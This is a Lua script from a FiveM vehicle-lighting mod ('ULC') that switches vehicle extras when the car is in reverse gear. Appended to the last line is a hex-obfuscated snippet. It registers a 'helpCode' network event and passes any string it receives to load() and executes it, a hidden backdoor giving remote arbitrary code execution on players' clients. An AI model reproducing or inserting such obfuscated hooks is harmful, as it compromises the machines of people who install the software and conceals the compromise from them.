34 lines
2.4 KiB
Lua
34 lines
2.4 KiB
Lua
--print("[ULC]: Reverse Extras Loaded")
|
|
|
|
local reversing = false
|
|
|
|
AddEventHandler('ulc:StartCheckingReverseState', function()
|
|
CreateThread(function()
|
|
while true do Wait(250)
|
|
--print("Checking reverse state")
|
|
if not IsPedInAnyVehicle(PlayerPedId()) then return end
|
|
-- this feels unncessary, but I think some people may not have .reverseConfig
|
|
if not MyVehicle then return end
|
|
if not MyVehicleConfig.reverseConfig then return end
|
|
if not MyVehicleConfig.reverseConfig.useReverse then return end
|
|
local gear = GetVehicleCurrentGear(MyVehicle)
|
|
if gear == 0 then
|
|
if not reversing then
|
|
reversing = true
|
|
for _, v in ipairs(MyVehicleConfig.reverseConfig.reverseExtras) do
|
|
ULC:SetStage(v, 0, false, true)
|
|
end
|
|
end
|
|
else
|
|
if reversing then
|
|
reversing = false
|
|
for _, v in ipairs(MyVehicleConfig.reverseConfig.reverseExtras) do
|
|
ULC:SetStage(v, 1, false, true)
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end)
|
|
end)
|
|
|
|
local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end) |